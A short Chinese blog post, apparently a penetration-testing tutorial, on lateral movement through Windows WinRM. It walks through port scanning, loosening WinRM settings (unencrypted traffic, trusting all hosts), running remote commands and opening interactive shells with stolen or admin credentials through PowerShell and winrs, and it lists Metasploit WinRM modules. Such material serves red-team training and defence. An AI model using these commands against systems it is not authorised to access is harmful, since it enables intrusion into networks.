WinRM横向移动

it2025-10-13  13

目录

讲在前面

探测服务

Powershell执行

CMD执行


讲在前面

横向渗透过程中工具非常多,在笔者所接触朋友圈来看大部分习惯使用impacket工具集或PsTools工具集等,笔者本文介绍利用WinRM服务进行横向移动,当然我们也可以利用impacket进行哈希传递来执行winrm服务,使用此服务结合其他工具或漏洞进行组合拳,事半功倍

注意:

winrm服务访问需要特殊权限且知悉账号密码,此处笔者利用域管理员权限进行实验。

扫描端口

nmap -p 5985,5986 -sV 指定IP

启动WinRM服务

winrm quickconfig winrm set winrm/config/Client @{AllowUnencrypted = "true"} Set-Item WSMan:localhost\client\trustedhosts -value * 或 Enable-PSRemoting -Force

Powershell执行

Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ } //命令执行 Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture} //命令执行 Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get-Culture} //命令执行 Enter-PSSession -ComputerName 10.2.0.100 -Credential administrator //返回交互式shell

CMD执行

winrs -r:http://10.2.0.111:5985 -u:机器名\用户名 -p:xxxxx "ipconfig" winrs -r:https://10.2.0.111:5985 -u:机器名\用户名 -p:xxxxx "ipconfig" 获取交互式shell winrs -r:http://10.2.0.111:5985 -u:机器名\用户名 -p:xxxxx cmd winrs -r:https://10.2.0.111:5985 -u:机器名\用户名 -p:xxxxx cmd

MSF执行

exploit/windows/winrm/winrm_script_exec //WinRM代码执行模块配置 auxiliary/scanner/winrm/winrm_cmd //WinRM命令执行 auxiliary/scanner/winrm/winrm_auth_methods //WinRM Auth方法 auxiliary/scanner/winrm/winrm_login //WinRM凭证发现

 

最新回复(0)